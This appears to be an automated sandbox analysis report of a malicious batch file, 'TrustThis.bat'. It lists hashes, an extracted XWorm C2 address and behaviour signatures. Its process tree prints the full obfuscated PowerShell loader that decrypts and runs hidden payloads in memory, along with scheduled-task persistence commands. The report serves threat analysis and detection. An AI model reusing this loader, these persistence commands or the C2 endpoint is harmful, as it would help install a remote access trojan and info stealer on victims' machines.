Analysis

  • max time kernel
    18s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2024 16:36

General

  • Target

    TrustThis.bat

  • Size

    399KB

  • MD5

    85b6801e12b0ee43cf2560af4de44ce5

  • SHA1

    243e69b236417be977c73eadfbdfd55325e125b7

  • SHA256

    9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

  • SHA512

    4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944

  • SSDEEP

    6144:pKLt2bMn672f3rrEQW7064pE67o8kYJ9b+OLDG7hg+2Xr2mpB3bcJ4VLuAFsdrTi:pKCMqW3ZW7nPY3b+G4gI0jVLmVi

Malware Config

Extracted

Family

xworm

C2

paris-itself.gl.at.ply.gg:49485

Attributes
  • Install_directory

    %Public%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 36 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2832
      • C:\Windows\system32\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
          PID:952
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TrustThis.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Local\Temp\TrustThis.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
            3⤵
              PID:4588
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4780
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_80_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_80.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5004
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_80.vbs"
                4⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:2948
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_80.bat" "
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3568
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Roaming\Windows_Log_80.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                    6⤵
                      PID:2336
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      6⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • Adds Run key to start application
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:4872
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost"
                        7⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1976
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /4
              2⤵
              • Checks SCSI registry key(s)
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:376

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            661739d384d9dfd807a089721202900b

            SHA1

            5b2c5d6a7122b4ce849dc98e79a7713038feac55

            SHA256

            70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

            SHA512

            81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            2KB

            MD5

            005bc2ef5a9d890fb2297be6a36f01c2

            SHA1

            0c52adee1316c54b0bfdc510c0963196e7ebb430

            SHA256

            342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

            SHA512

            f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jccpobqd.q1q.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\Windows_Log_80.bat

            Filesize

            399KB

            MD5

            85b6801e12b0ee43cf2560af4de44ce5

            SHA1

            243e69b236417be977c73eadfbdfd55325e125b7

            SHA256

            9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

            SHA512

            4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944

          • C:\Users\Admin\AppData\Roaming\Windows_Log_80.vbs

            Filesize

            114B

            MD5

            4bb06f848f018f179692d42e7b7710d1

            SHA1

            51b2b6ca32628cd376731f586923af60d8e02687

            SHA256

            48db5d351b7f803d534b520a9f077fcdd22553bf03d9f955d68fd7fa28efacdc

            SHA512

            cd3897911daa12160fdd763e2286b6e1d20b1df8f393727ccf3c11d8c41107eddc8571d22695b7709312685184e8130b70501a3d8ae34b18a872208d922ecf27

          • C:\Users\Public\svchost

            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          • memory/376-72-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-65-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-64-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-63-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-70-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-71-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-69-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-75-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-74-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/376-73-0x00000228BC370000-0x00000228BC371000-memory.dmp

            Filesize

            4KB

          • memory/952-58-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

            Filesize

            2.0MB

          • memory/952-60-0x00007FFDDC270000-0x00007FFDDC539000-memory.dmp

            Filesize

            2.8MB

          • memory/952-59-0x00007FFDDE420000-0x00007FFDDE4DE000-memory.dmp

            Filesize

            760KB

          • memory/952-57-0x000002179AA80000-0x000002179AE80000-memory.dmp

            Filesize

            4.0MB

          • memory/952-54-0x0000021798FA0000-0x0000021798FAA000-memory.dmp

            Filesize

            40KB

          • memory/3432-52-0x000000000CFD0000-0x000000000D3D0000-memory.dmp

            Filesize

            4.0MB

          • memory/3432-50-0x0000000008230000-0x0000000008259000-memory.dmp

            Filesize

            164KB

          • memory/3432-51-0x0000000000CB0000-0x0000000000CB9000-memory.dmp

            Filesize

            36KB

          • memory/3432-53-0x000000000CFD0000-0x000000000D3D0000-memory.dmp

            Filesize

            4.0MB

          • memory/4780-0-0x00007FFDC03D3000-0x00007FFDC03D5000-memory.dmp

            Filesize

            8KB

          • memory/4780-61-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/4780-16-0x000001B0F29E0000-0x000001B0F2A2C000-memory.dmp

            Filesize

            304KB

          • memory/4780-15-0x000001B0F0530000-0x000001B0F0538000-memory.dmp

            Filesize

            32KB

          • memory/4780-14-0x000001B0F2A60000-0x000001B0F2AD6000-memory.dmp

            Filesize

            472KB

          • memory/4780-13-0x000001B0F2990000-0x000001B0F29D4000-memory.dmp

            Filesize

            272KB

          • memory/4780-12-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/4780-11-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/4780-6-0x000001B0D83B0000-0x000001B0D83D2000-memory.dmp

            Filesize

            136KB

          • memory/4872-62-0x0000014CDB880000-0x0000014CDB896000-memory.dmp

            Filesize

            88KB

          • memory/5004-32-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/5004-29-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/5004-28-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB

          • memory/5004-20-0x00007FFDC03D0000-0x00007FFDC0E91000-memory.dmp

            Filesize

            10.8MB